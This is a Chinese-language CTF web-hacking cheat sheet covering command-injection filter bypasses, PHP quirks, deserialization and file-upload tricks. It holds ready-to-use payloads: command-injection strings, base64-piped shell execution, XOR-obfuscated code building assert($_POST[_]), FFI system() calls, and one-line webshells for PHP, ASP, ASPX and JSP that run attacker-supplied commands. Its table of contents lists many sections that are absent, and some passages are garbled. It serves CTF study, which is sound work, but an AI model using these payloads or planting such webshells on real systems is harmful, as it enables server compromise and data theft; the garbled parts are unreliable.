CTF常见用法小总结
零零碎碎水了一堆,主要是自己用的時候方便查找,后來用的少了,決定發出來,對初學應該還算有點用吧,很多地方生搬硬套了前輩的文章,這篇就權當做個參考吧,缺的地方很多,自己補一補,或者我學會后填上坑
layout: post
date: 2021-05-26
author: Sprint#51264
文章目錄
- 引言
- 隱藏內容
- 正則繞過
- 空格繞過
- $IFS
- 分號
- 關鍵字(全字匹配)
- 清奇思路
- 命令執行
- 概述
- 常見方法
- PHP特性命令
- 中斷進程
- 直接函數使用
- 造參傳參
- 包含指定文件變量
- 變量輸出
- 目錄查看
- 數據庫對象PDO
- UAF(use after free)
- FFI(語言交互接口)
- 命令構造
- shell命令
- 無字母RCE
- 位運算`異或RCE`
- 位運算`取反RCE`
- `$(())`數學運算(適用于多種進制)
- 頁面構造
- linux cmd命令正則
- PHP字符串解析漏洞
- PHP常見函數
- 字符串函數
- 時間日期函數
- 數學相關函數
- 數組相關函數
- 判斷變量
- 文件操作函數(重要!!)
- 排序
- 報錯
- 常量
- 序列化
- 編碼
- PHP特性
- 短標簽
- 函數繞過
- strcmp()
- intval()
- is_numeric
- preg_match
- 內置類
- 反射類ReflectionClass
- 迭代器FilesystemIterator
- 變量覆蓋
- `extract(array,extract_rules,prefix)`變量覆蓋
- parse_str()
- 動態變量覆蓋
- parse_str(string,result)變量覆蓋
- import_request_variables()
- register_globals()
- 非法變量轉換
- 反序列化
- 魔法函數
- 字符逃逸
- 對象逃逸
- 方法引用
- 小技巧
- 文件上傳
- 前端驗證
- 后端驗證
- 類型繞過
- 一句話木馬
- 配置文件
- 常見文件頭
- 常見MIME類型
- 騷操作寫馬
- 小技巧
- 文件包含
- 常用偽協議
- 日志包含
- 日志路徑
- session包含(無后綴文件包含)
- 包含方法
- 文件開頭exit繞過
- 概述
- base64
- XSS
- XXE
- 源碼泄露
- 常用備份文件后綴
- 源碼泄露
- .hg源碼泄漏
- .git源碼泄漏
- .DS_Store文件泄漏
- SVN導致文件泄露
- CVS泄漏
- vim文件泄露
- WEB-INF/web.xml泄露
- 數據庫泄露
- asp+access
- 松散比較
- 常見函數繞過
- md5函數繞過
- SQL注入
- 右查詢
- 堆疊注入
- Handler
- 預處理
- 寬字節注入
- 報錯注入
- UPDATE 注入
- 盲注
- Bool盲注
- 時間盲注
- 函數存儲過程
- 其他注
- limit 注入(PROCEDURE)
- group by 注入
- 文件名注入
- 無列名注入
- 概述Mysql信息
- 常用函數
- 繞過過濾
- 小技巧
- 無參數RCE
- 前言
- 概念
- 使用
- getenv辦法
- getallheaders()
- get_defined_vars()
- session_id()
- dirname()&chdir()
- PHPINFO()關注點
- JAVA
- Javan基礎
- servlet
- Struts 2
- S2-001
- 模板注入
- 思路圖
- 常用payload
- 暴力破解
- burpsuite
- 爆破模式
- payload type
- payload processing
- 流量包分析
- binwalk判斷是否傳輸文件
- file 查看具體文件類型
- strings提取文件內字符
- 常見命令
- linux
- 注
- 正則匹配
- 修飾符元字符
- 其他
- 管道符
- 語言特性
- 代碼執行函數集合
- 顯示文件內容函數總結
- 命令執行函數集合
- 利用集合
- 抓包改包
- 概念科普
- 腳本
- 爆破腳本
- 繞過測試
- session 文件包含
- 工具參數
- SQLmap
- SQLMAP特性
- nmap
引言
開始做題掃泄露
頁面有互動就頁面上完成
頁面有內容可以挖掘就從頁面入手
沒有思路就抓包分析
再沒有思路就第三方工具嘗試
數字過濾繞過構造首先考慮特性,再考慮位運算
隱藏內容
- 頁面黑黢黢,拖鼠標扒拉扒拉同顏色字體
- 查看頁面源碼直接看元素
- 掃描網站查看隱藏文件
- php://filter查看頁面源碼
- robots.txt隱藏頁面文件(對于不能掃目錄的網站更好用)
- 手動猜測隱藏的網頁例如register.php
正則繞過
空格繞過
$IFS
-
IFS(Internal Field Separator)內部字段分隔符,默認為空格,換行,制表符
$IFS
${IFS}
$IFS$1 //1改成1改成1改成加其他數字貌似都行
<
<>
{cat,flag.php} //用逗號實現了空格功能
%20(空格)
%09(制表符tab)
%0a(換行符)過濾中可能過濾數字,但這里的編碼在檢測的時候不算數字
%0b(垂直制表)
%0c(換頁符)
%0d(回車)
%00(空字符)
分號
- php中如果?>沒有被代替可以用其來代替分號,因為php中最后一條語句可以沒有分號
關鍵字(全字匹配)
-
\
linux下將關鍵字用\分隔,可以起到換行連接輸入的作用,但是關鍵字全字匹配不到
-
通配符
是通配符代替敏感詞中的某一部分,可以對特定文件執行操作
-
''
shell特性,兩個單引號插在字符串中間,執行的時候自動忽略
-
.source命令
刷新當前shell環境
在當前環境使用source執行shell腳本 -
換命令
cat->tac(逆向輸出)->more(分頁輸出)->less(分頁輸出)->tail(文件最尾部信息)
-
tac
逆向輸出文件內容
-
tail
顯示文件尾部內容
-c<數目>顯示的字節數
-n<行數>顯示的行數 -
head
顯示文件開頭的內容
-c<數目>顯示的字節數
-n<行數>顯示的行數 -
od
將文件內容以八進制形式輸出
-
nl
將文件添加行號標注后寫到標準輸出
-
清奇思路
-
命令執行變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
-
過濾bash用sh執行
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
-
內聯執行
?ip=127.0.0.1;cat$IFS$9ls``
-
造參傳參
c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
c=eval($_GET[1]);&1=system('cat flag.php');
c=include%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
-
通配符
如果要對含有關鍵字的文件進行訪問,可以使用cp命令結合通配符將文件拷貝到新的文件中,訪問新建文件讀取源文件內容
cp fla?.php 1.txturl/1.txt -
移花接木
既然可以命令執行,那就把對應文件中的內容cp到新的文檔中,然后對文檔內容輸出,間接讀取
命令執行
概述
命令執行用到的方法在其他板塊中也有,主要就是繞過過濾,包含的內容可能是空格繞過,php特性,shell特性,無參RCE,或者無字母RCE
常見方法
PHP特性命令
return 1-phpinfo()-1這樣可以執行命令,中間的字符’-'可以替換成其他字符
return 1?phpinfo():1三目運算符,可以執行命令
中斷進程
ob_get_contents();``ob_end_clean();獲取緩沖區內容,清除緩沖區內容,后面再跟一個替換內容的函數,我們傳參可以直接在后面跟 exit(0);退出進程,停止執行后面點函數
直接函數使用
echo highlight_file(xxx.php);
show_source(),file_get_contents(),readfile()
造參傳參
include($_GET[1]) 1=php:\/\/filter/read=convert.base64-encode/resource=xxx.php包含指定文件變量
include('flag.php');echo $flag;`變量輸出
include('flag.php');var_dump(get_defined_vars()); //先包含文件,在不知道對應變量名的情況下輸出所有變量 如果是txt文本,包含之后默認自動輸出,沒有php標簽目錄查看
var_dump(scandir("/")); print_r(scandir(".")); var_export(); 如果scandir目錄被封就用*glob://*協議$c=$it=new DirectoryIterator("glob:///*.txt");//找到所有txt文件 foreach($it as $f) {//遍歷輸出printf("%s\n", $f->getFilename());//輸出文件名 }exit();數據庫對象PDO
PDO :PHP數據對象提供了一個數據訪問抽象層,不管使用哪種數據庫,都可以用相同的函數(方法)來查詢獲取數據。
try {$dbh = new PDO($dsn, $user, $pass); //初始化一個PDO對象echo "連接成功<br/>";/*你還可以進行一次搜索操作foreach ($dbh->query('SELECT * from FOO') as $row) {print_r($row); //你可以用 echo($GLOBAL); 來看到這些值}*/$dbh = null; } catch (PDOException $e) {die ("Error!: " . $e->getMessage() . "<br/>"); }c=try {$dbh= new PDO('mysql:host=localhost;dbname=ctftraining','root','root');foreach($dbh->query('select load_file("/flag36.txt")')as $row){echo($row[0])."|";}$dbh=null;}catch (PDOException $e){echo $e->getMessage();exit(0);}exit(0);UAF(use after free)
-
概述
參見UAF (Use After Free)漏洞分析及利用
應用程序調用free()釋放內存時,如果內存塊小于256kb,dlmalloc并不馬上將內存塊釋放回內存,而是將內存塊標記為空閑狀態。這么做的原因有兩個:一是內存塊不一定能馬上釋放回內核(比如內存塊不是位于堆頂端),二是供應用程序下次申請內存使用(主要原因,我覺得應該是為了提高效率)。當dlmalloc種空閑內存達到一定值時dlmalloc才將空閑內存釋放回內核。如果應用程序申請的內存大于256kb,dlmalloc調用mmap()向內存申請一塊內存,返還給應用程序使用。如果應用程序釋放的內存大于256kb,dlmalloc馬上調用munmao()釋放內存。dlmallloc不會緩存大于256kb的內存塊,因為這樣的內存塊太大了,最好不要長期占用這么大的內存資源。
-
正文
如此可見,如果p1指針指向的地址里面有一個函數p1[3]=echo,后來對p1空間進行釋放,雖然釋放了,但是內存還沒有歸還,還可以繼續調用,然后申請一個和p1相同大小的p2空間,那么系統就還會把p1的空間分配給p2,此時對p2進行修改,就會修改p1中的內容,替換函數為p2[3]=system,然后再調用p1[3]就可以執行系統命令了
FFI(語言交互接口)
c=$ffi=FFI:cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a);exit();命令構造
用于system()
從當前路徑中截取字母構造讀取命令nl.cat等等等等
${PATH:~0}${PWD:~0}$IFS????.???~數字或者字母都代表從最后往前數第幾個字母,從這個位置開始截取后面的字符串
#代表取長度,#SHLVL深度數字的長度為1,也就是深度是一個數字,對深度取長度就是1
/var/www/html # ls /bin
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???cat flag.php
- 常用變量
shell命令
- base64
無字母RCE
位運算異或RCE
找到兩個非字母的字符,使得兩者二進制異或之后變為對應字母就可,將它們連接起來然后傳進去okk
異或運算,二進制字符進行比較,相同返回0,不同返回1
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);位運算取反RCE
利用UTF-8編碼中的某個漢字,將其中的某個字符提取出來,比如'和'{2}的結果是\x8c,其取反為字母s
$(())數學運算(適用于多種進制)
$(())=0 ~$(())=~0 #取反 $((~$(())))=-1 #對-0進行數學運算$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(()))))))) #36 先對零取反再運算得-1,36個-1相加再取反得36頁面構造
構造上傳文件頁面,php不能判斷這個頁面之后還會不會用到,就會先保留在臨時目錄下 /tmp/phpxxxxxX(五個小寫字母一個大寫字母)
linux cmd命令正則
- linux下’'可以用在命令行中,用在行尾可以換行并連接上一行命令尾部,也就是起換行的作用,但是命令不會中斷,所以可以用來繞過完整匹配模式的正則匹配
PHP字符串解析漏洞
PHP會將URL或者body中的查詢字符關聯到GET或者_GET或者G?ET或者_PSOT,例如?num=asd代表Array([num]=>"asd"),但是查詢字符串在解析的過程中會將某些字符刪除或者用下劃線代替,例如?%20num[01=asd代表著Array([num_01]=>"asd"),其中空格被刪去并且中括號被替換成了下劃線,利用這一點就可以對防火墻檢測策略進行繞過。
如果檢測的是頁面GET的num變量,但是傳值傳的是%20num,在檢測過程中找不到num變量,但是在解析過程中PHP依舊會將%20num值賦給num,從而達到繞過檢測并傳遞非法值的目的。
PHP常見函數
內容參見php常用的系統函數大全
字符串函數
| var_dump | 判斷一個變量的類型與長度,如果變量有值就輸出變量的類型與值 |
| strlen | 獲取字符串長度,字節長度 |
| substr_count | 某字符串出現的次數 |
| substr | 字符串截取,獲取字符串(按照字節進行截取) |
| mb_strlen | |
| mb_substr | |
| strchr | 與substr相似,從指定位置截取一直到最后 |
| strrchr(獲取文件后綴) | 與strchr一樣,只是從右邊開始查找字符 |
| strtolower | 所有的字符都小寫(針對英文字母) |
| strtoupper | 所有的字符都大寫 |
| strrev | 字符串反轉(只能反轉英文:英文存儲只有一個字節),按照字節進行反轉 |
| strpos | 從字符串中找對應字符出現的位置(數字下標),從最左邊開始找 |
| strrpos | 與strpos一樣,只是從字符串的右邊開始找 |
| trim | 去掉函數兩邊的字符,默認是空格 |
| str_split | 函數把字符串分割到數組中。 |
| chunk_split() | 函數把字符串分割為一連串更小的部分 |
| str_repeat(“Shanghai”,5) | 把字符串 "Shanghai " 重復 5 次 |
| str_replace(‘\’,‘/’,dirname(DIR))) | 替換 |
| ucfirst | 首字母大寫 |
時間日期函數
| time | 得到當前時間的時間戳(整型:從格林威治時間1970年1月1日0時0分0秒開始)秒數 |
| date | 時間序列化函數,將指定的時間戳轉換成規定時間日期的顯示格式(隨意的字符串:有專業的格式符規定),如果沒有指定時間戳,系統默認使用當前時間的時間戳 |
| strtotime | 時間日期格式的字符串轉換成對應的時間戳(只要是正確的英語時間表達方式,都可以進行轉換) |
| microtime | 微秒時間戳,根據不同的要求返回不同的結果 混合 microtime (布爾類型 ),可以返回一個浮點數的時間,也可以返回一個數組(時間戳和微秒數) |
數學相關函數
| abs | 絕對值 |
| floor | 向下取整 floor(3.2) 結果等于3 |
| ceil | 向上取整 |
| round | 四舍五入 |
| rand | 取得一個指定范圍內的隨機整數 |
| mt_rand | 取得一個指定范圍內的隨機整數(效率更高) |
| min | PHP 會將非數值的 string 當成 0,但如果這個正是最小的數值則仍然會返回一個字符串。如果多個參數都求值為 0 且是最小值,min() 會返回按字母表順序最小的字符串,如果其中沒有字符串的話,則返回數值的 0; |
| max | PHP 會將非數值的字符串當成 0,但如果這個正是最大的數值則仍然會返回一個字符串。如果多個參數都求值為 0 且是最大值,max() 會返回其中數值的 0,如果參數中沒有數值的 0,則返回按字母表順序最大的字符串。對于多個數組,max從左到右比較;如果同時出現數組和非數組參數總把數組作為最大值返回; |
數組相關函數
| count() // 非數組返回1 | |
| key | 獲取當前數組當前指針所指向的元素的下標 |
| current | 獲取的當前指針指向元素的數值 |
| next | 獲取下一個元素的值,并且將指針下移 |
| prev | 獲取上一個元素的值,并且將指針上移 |
| end | 將指針移到數組的最后一個元素,并返回最終指針位置的值 |
| reset | 將指針移到數組的第一個元素,返回最終指針位置的值 |
| array_keys | 獲取一個數組的所有鍵名,返回一個索引數組 |
| array_values | 獲取一個數組的所有值,返回一個索引數組 |
| explode | 爆炸,將一個字符串按照某個指定的規則(通常是特殊字符),將數組分成多個段,每一段都當做一個數組的元素,返回一個索引數組 |
| split | 類似 explode explode(‘.’, ‘abc.txt’)等于split(‘.’,‘abc.txt’) |
| implode | 粘合,將一個數組內部的所有元素按照某個指定的規則(特殊字符),將所有的元素拼接成一個字符串 |
| join() | 把數組元素組合為一個字符串 |
| array_merge | 合并,指的是將兩個數組中的元素進行累計。如果后面的數組與前面的數組有下標(鍵名:關聯)相同的,那么后面的元素的值會覆蓋前面的;如果是索引的相同下標,會自動的修改下標疊加到前面的數組里。 |
| array_reverse | 返回反轉后的數組,也就是說原來數組倒數第二個元素變為正數第二個元素 |
| array_flip | 交換數組中的鍵和值 |
| 數據結構模擬函數# | |
| array_shift | 從數組的前面彈出元素,得到元素的值 |
| array_pop | 從數組的后面彈出元素,獲得元素的值 |
| array_unshift | 從數組的前面壓入元素,得到當前數組元素的個數 |
| array_push | 從數組的后面壓入元素,得到當前數組元素的個數 |
判斷變量
| is_bool | 判斷是否是布爾類型 |
| is_float | 判斷浮點型 |
| is_integer | 判斷整型 |
| is_object | 判斷對象 |
| is_array | 判斷數組 |
| is_string | 判斷字符串 |
| is_resource | 判斷資源 |
| is_scalar | scalar是標量的,判斷是基本數據類型:整型,浮點型,布爾型和字符串型 |
| is_null | 檢測變量是否為NULL 是返回TRUE 否則返回false。1.被賦值為NULL;2.變量沒被賦值;3.被unset() |
| is_numeric | 判斷數字或者純數字組成的字符串 |
| gettype | 獲得數據類型 |
| settype | 改變數據類型 |
| isset | |
| unset() | 如果在函數中 unset() 一個全局變量,則只是局部變量被銷毀,而在調用環境中的變量將保持調用 unset() 之前一樣的值,如果在函數中 unset() |
| empty | array(),“”,0,“0”,NULL,FALSE 都返回true |
文件操作函數(重要!!)
| opendir(路徑) | 打開一個路徑資源(將路徑內部的所有數據讀入到內存) |
| readdir(路徑資源) | 從文件夾資源中讀取當前資源指針所指向的文件的名字,指針會向下移動一位 |
| closedir(資源) | 釋放對應的文件資源 |
| scandir(路徑) | 讀取一個路徑內部的所有文件名,返回一個數組,數組的每一個元素都是文件名。 |
| file_exists | 判斷一個文件是否存在(文件是廣義:路徑和文件) |
| is_dir | 判斷一個指定路徑是否存在(文件夾) |
| is_file | 判斷一個指定路徑是否是文件(文件) |
| mkdir | 創建一個路徑,如果路徑存在就會報錯 |
| rmdir | 移除文件夾 |
| file_get_contents | 從一個指定的文件內讀取數據內容。 |
| file_put_contents | 將指定的字符串寫入到對應的文件 |
| fopen | 打開一個文件資源 |
| fgetc | c代表character,一次讀取一個字符 |
| fgets | s代表string,代表可以讀取多個字符,取決于指定的讀取長度或者是否碰到換行(最多只能讀取一行數據) |
| 兩個函數都是對當前資源指針進行操作,讀取之后都會將指針下移 | |
| fread | 獲取指定長度的數據直到文件結束 |
| fwrite | 向文件資源指針所在的位置寫入數據,寫東西不會將當前位置已有的東西往后移,而是會覆蓋 |
| fseek | 將指針指定到對應的位置 |
| fclose | 使用對應的文件資源 |
| copy | 復制 |
| unlink | 刪除文件 |
| rename | 重命名文件 |
| filemtime | m代表modify,文件最后被修改的時間 |
| filesize | 文件大小(字節) |
| fileperms | 文件權限(Linux下的八進制) |
排序
| rsort() | 函數用于對數組單元從高到低進行排序。 |
| asort() | 函數用于對數組單元從低到高進行排序并保持索引關系。 |
| arsort() | 函數用于對數組單元從高到低進行排序并保持索引關系。 |
| ksort() | 函數用于對數組單元按照鍵名從低到高進行排序。 |
| krsort() | 函數用于對數組單元按照鍵名從高到低進行排序。 |
報錯
| error_reporting(E_ALL) | |
| ini_set(‘display_errors’, 1) |
常量
| define() 定義常量 | |
| defined() 檢測常量是否定義 |
序列化
| serialize | |
| unserialize | |
| json_encode | 對變量進行 JSON 編碼 |
| json_decode | 對JSON 格式的字符串進行編碼 |
編碼
base64_encode 編碼
本函數將字符串以 MIME BASE64 編碼。在 BASE64 編碼后的字符串只包含英文字母大小寫、阿拉伯數字、加號與反斜線,共 64 個基本字符,不包含其它特殊的字符,因而才取名 BASE64。
base64_decode 解碼
PHP特性
短標簽
-
<? echo '123';?>
前提是開啟配置參數short_open_tags=on -
<?=(表達式)?> 等價于 <?php echo (表達式)?>
不需要開啟參數設置 -
<% echo '123';%>
前提是開啟配置參數asp_tags=on,經過測試發現7.0及以上修改完之后也不能使用,而是報500錯誤,但是7.0以下版本在修改完配置后就可以使用了 -
<script language=”php”>echo '123'; </script>
不需要修改參數開關,但是只能在7.0以下可用。
函數繞過
strcmp()
strcmp()函數的作用是比較兩個字符串
如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果兩者相等,返回 0
strcmp函數無法比較數組,返回0
intval()
通過使用指定的進制 base 轉換(默認是十進制),返回變量 value 的 int 數值。 intval() 不能用于 object,否則會產生 E_NOTICE 錯誤并返回 1。
數組是對象,可以通過傳數組判斷方法
成功時返回 var 的 integer 值,失敗時返回 0。 空的 array 返回 0,非空的 array 返回 1。
intval(mixed $value, int $base = 10): int//要轉換成 integer 的數量值,轉化所使用的進制
如果 base 是 0,通過檢測 value 的格式來決定使用的進制:
如果字符串包括了 “0x” (或 “0X”) 的前綴,使用 16 進制 (hex);否則,如果字符串以 “0” 開始,使用 8 進制(octal);否則,將使用 10 進制 (decimal)。
echo intval(42); // 42 echo intval(4.2); // 4 echo intval('42'); // 42 echo intval('+42'); // 42 echo intval('-42'); // -42 echo intval(042); // 34 echo intval('042'); // 42 echo intval(1e10); // 1410065408 echo intval('1e10'); // 1 echo intval(0x1A); // 26 echo intval(42000000); // 42000000 echo intval(420000000000000000000); // 0 echo intval('420000000000000000000'); // 2147483647 echo intval(42, 8); // 42 echo intval('42', 8); // 34 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1intval()函數如果base為0則base為0則base為0則var中存在字母的話遇到字母就停止讀取 但是e這個字母比較特殊,可以在PHP中不是科學計數法。所以為了繞過前面的==4476我們就可以構造 4476e123 其實不需要是e其他的字母也可以
intval對加號或者空格開頭的數字會自動進行去空處理
- 繞過
is_numeric
判斷參數是否為數字,數字前加(空)可以繞過
常用空字符
preg_match
正則匹配,有正則溢出
250000次
內置類
利用內置類結合函數執行,可以在類創造的時候執行對應代碼
反射類ReflectionClass
echo new ReflectionClass() 可以將括號中的語句在類構建時執行迭代器FilesystemIterator
目錄迭代器
v1=FilesystemIterator&v2=getcwd變量覆蓋
(PHP中的變量覆蓋漏洞)[https://www.cnblogs.com/xhds/p/12587249.html]
extract(array,extract_rules,prefix)變量覆蓋
[安洵杯 2019]easy_serialize_php
extract() 函數從數組中將變量導入到當前的符號表。
該函數使用數組鍵名作為變量名,使用數組鍵值作為變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。
該函數返回成功設置的變量數目。
當我們傳入SESSION[flag]=123時,$SESSION["user"]和$SESSION['function'] 全部會消失。
parse_str()
parse_str() 函數把查詢字符串解析到變量中。
注釋:如果未設置 array 參數,由該函數設置的變量將覆蓋已存在的同名變量。
注釋:php.ini 文件中的 magic_quotes_gpc 設置影響該函數的輸出。如果已啟用,那么在 parse_str() 解析之前,變量會被 addslashes() 轉換。
extract(_POST)@parse_str($_SERVER['QUERY_STRING']); extract($_POST);像這種情況,如果你GET傳一個_POST[]數組,那么就會覆蓋原有準備`$_POST`傳參的變量,也就是說,原來是需要POST傳參的,但是現在被GET傳的同名數組給替換了。動態變量覆蓋
foreach($_GET as $key=>$value) 意思就是將get的賦值變為$key=$value if get:a=b 也就是說($key=a)=>($value=b) $bar= "a"; $Foo="Bar"; $World="Foo"; $Hello="world"; $a="Hello";echo $a; //hello echo $$a; //world echo $$$a; //foo echo $$$$$a; //Bar echo $$$$$$a; //a echo $$$$$$$a; //hello echo $$$$$$$$a; //worldparse_str(string,result)變量覆蓋
該函數將查詢的字符串解析到變量中
parse_str(string,array)
如果 string 是 URL 傳遞入的查詢字符串(query string),則將它解析為變量并設置到當前作用域(如果提供了 result 則會設置到該數組里 )。
import_request_variables()
(PHP 4 >= 4.1.0, PHP 5 < 5.4.0)
將 GET/POST/Cookie 變量導入到全局作用域中
register_globals()
在PHP5.3之前 默認開啟 PHP5.3默認關閉 PHP5.6及5.7已經被移除
當register_globals全局變量設置開啟時,傳遞過來的值會被直接注冊為全局變量而使用,這會造成全局變量覆蓋
非法變量轉換
PHP變量中包含數字字母下劃線,PHP對定義的非法變量進行轉換,但是在整個非法變量中只轉換一次,也就是說,如果一個變量中出現兩個非法字符,將只轉換第一個,對第二個不進行轉換。
what[123.com => what_123.com #此處只對第一處非法字符進行轉換,而沒有轉換`.`反序列化
序列化與反序列化只是數據形式的變換,所以并不是只針對于定義好的類。
a=′what′;echoserialize(a='what';echo serialize(a=′what′;echoserialize(a);//s:5:“what?”
對一個對象進行序列化,只是將其屬性數據保存起來,但是并不保存其方法,因為方法并不是數據
魔法函數
_wakeup()函數繞過
5.6版本?以下使序列化后的數據對象個數與實際不符,就可以。 7.4版本以上,如果類中有__unserialize()方法的話自動繞過__wakeup()魔法函數__construct: 在創建對象時候初始化對象,一般用于對變量賦初值。
__destruct: 和構造函數相反,當對象所在函數調用完畢后執行。
__toString:當對象被當做一個字符串使用時調用。
__sleep:序列化對象之前就調用此方法(其返回需要一個數組)
__wakeup:將在反序列化之后立即被調用,反序列化恢復對象之前調用該方法
__call:當調用對象中不存在的方法會自動調用該方法。
__get:在調用私有屬性的時候會自動執行
__isset()在不可訪問的屬性上調用isset()或empty()觸發
__unset()在不可訪問的屬性上使用unset()時觸發
__invoke() 將對象當作函數來使用的時候,會自動調用該方法
字符逃逸
-
增字符適用場景
通常用于先對一個類序列化之后再進行字符替換,然后再進行反序列化,此時序列化中被替換后的字符串如果和其標明的長度不相符,比如標明長度為6,但是字符串長度卻為7,就會造成一個字符逃逸讀不到,提前尋找閉合,利用這個特性就可以構造payload
public $name='aaaabbbbbbb";s:4:"pass";s:6:"hacker;}";'只是舉個例子,就構造類似這樣的就行,后面的閉合有多長就要逃逸多少個字符
如果是以數組形式傳入的話要注意將各個部分用}再分隔一次,見[0ctf2016 piapiapia]
-
減字符使用場景
[安洵杯 2019]easy_serialize_php
過濾之后將原來的關鍵字替換為空,也就是說,標明長度為6,實際為0,就會繼續向后讀,找到長度為6的閉合,
對象逃逸
方法引用
- call_user_func()
回調函數的使用方法,數組
小技巧
-
換列名
alter table 表名 change column `原列名` `現列名` 類型(長度)/*varchar(212)*/將密碼列與id列互換,這樣select密碼就是在select id,大大降低密碼爆破難度,只要id和用戶名對就能登錄,使用堆疊注入
-
十六進制檢測
mysql支持十六進制值查詢,在數字上下文中,十六進制數如同整數(64位精度)。在字符串上下文,如同二進制字符串,每對十六進制數字被轉換為一個字符
-
賦值引用
// ctfshow 265 $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag; } -
大小寫檢測
PHP內對函數不區分大小寫,類也不區分大小寫,只有變量名區分
出現這樣強制修改值的題,就用引用變量的方法,使兩塊變量的空間地址一樣,這樣一改就導致兩個值都變化,等式恒成立
文件上傳
(Web漏洞_文件上傳總結(前端js驗證、后端驗證、DVWA1.9版本實驗)
)[https://blog.csdn.net/BeatRex/article/details/84625658]
一篇不錯的博客拿來借鑒
前端驗證
-
通過瀏覽器審查元素對網頁的代碼查看,找到對文件格式或大小的限制然后修改即可
-
通過Burpsuite工具對瀏覽器進行代理,抓包對包里的內容進行修改
-
瀏覽器禁用JavaScript腳本
后端驗證
- MIME類型驗證
- 文件后綴驗證
- 文件路徑驗證(權限問題)
- 文件內容驗證
類型繞過
- 改MIME
- 改數據包的content-type字段
- 改文件頭
- 利用服務器解析漏洞
- 點繞過
- $data::繞過
- 00截斷
一句話木馬
-
簡介
Webshell是指以asp,jsp,php或者cgi等網頁形式存在的以中命令執行環境,也可以叫做網頁后門
由于webshell大多是以動態腳本形式出現,有人稱之為網站的后門工具,常常被站長用來管理網站
但是一旦被攻擊者得到可以利用它來達到長期控制網站服務器的目的,并獲得執行權限
-
要注意的是一句話里面的“[]”可以替換為“{}”
-
php
<?php @eval($_POST[x]);?> <?php system($_GET['cmd']);?> <?php assert($_REQUEST[cmd]);?><?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");?><?php $func =create_function('',$_REQUEST['cmd']); $func(); ?> -
asp
<%eval request("777")%><%execute request("777")%><%execute(request("777"))%><%executeGlobal request("777")%><%eval(Request(chr(35)))%> #ASCII碼值<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd")).stdout.readall%> -
aspx
<%@ Paage Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
-
phtml
<script Language="php">eval($_REQUEST[shell])</script>
-
jsp
執行系統命令且有回顯
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); }out.print("</pre>"); }%>
-
配置文件
-
.htaccess
.htaccess是偽靜態環境配置文件,用于lamp,apache
-
.user.ini
參見----->
.user.ini是lnmp文件,里面放的是網站的文件夾路徑地址,目的是放指跨目錄訪問和文件跨目錄讀取.user.ini只對他同一目錄下的文件起作用
自PHP5.3.0起,PHP支持基于每個目錄的INI文件配置,此類文件僅被CGI/FastCGI SAPI處理。此功能使得 PECL 的 htscanner 擴展作廢。如果你的 PHP 以模塊化運行在 Apache 里,則用 .htaccess 文件有同樣效果。
除了主php.ini之外,PHP還會在每個目錄下掃描INI文件,從被執行的PHP文件所在目錄開始一直上升到web根目錄($_SERVER[‘DOCUMENT_ROOT’]所指定的)。如果被執行的PHP文件在web個目錄之外,則只掃描該目錄。
在.user.ini風格的INI文件中只有具有PHP_INI-PERDIR和PHP_INI_USER模式的INI設置可被識別。
兩個新的INI指令,user_ini.filename和user_ini.cache_ttl控制著用戶INI文件的使用。
user_ini.filename設定了PHP會在每個根目錄下搜尋的文件名;如果設定為空字符串則PHP不會搜尋。默認值是.user.ini。
user_ini.cache_ttl控制著重新讀取用戶INI文件的間隔時間。默認是300秒(5分鐘)。
auto_append_file=//在文件底部加載文件 auto_prepend_file=//在文件頂部加載文件
常見文件頭
JPEG (jpg), 文件頭:FFD8FF
PNG (png), 文件頭:89504E47 文件尾:0000000049454E44AE426082
GIF (gif), 文件頭:47494638
ZIP Archive (zip), 文件頭:504B0304 文件尾:00000000
TIFF (tif), 文件頭:49492A00
Windows Bitmap (bmp), 文件頭:424D
CAD (dwg), 文件頭:41433130
Adobe Photoshop (psd), 文件頭:38425053
Rich Text Format (rtf), 文件頭:7B5C727466
XML (xml), 文件頭:3C3F786D6C
HTML (html), 文件頭:68746D6C3E
Email [thorough only] (eml), 文件頭:44656C69766572792D646174653A
Outlook Express (dbx), 文件頭:CFAD12FEC5FD746F
Outlook (pst), 文件頭:2142444E
MS Word/Excel (xls.or.doc), 文件頭:D0CF11E0
MS Access (mdb), 文件頭:5374616E64617264204A
WordPerfect (wpd), 文件頭:FF575043
Adobe Acrobat (pdf), 文件頭:255044462D312E
Quicken (qdf), 文件頭:AC9EBD8F
Windows Password (pwl), 文件頭:E3828596
RAR Archive (rar), 文件頭:52617221
Wave (wav), 文件頭:57415645
AVI (avi), 文件頭:41564920
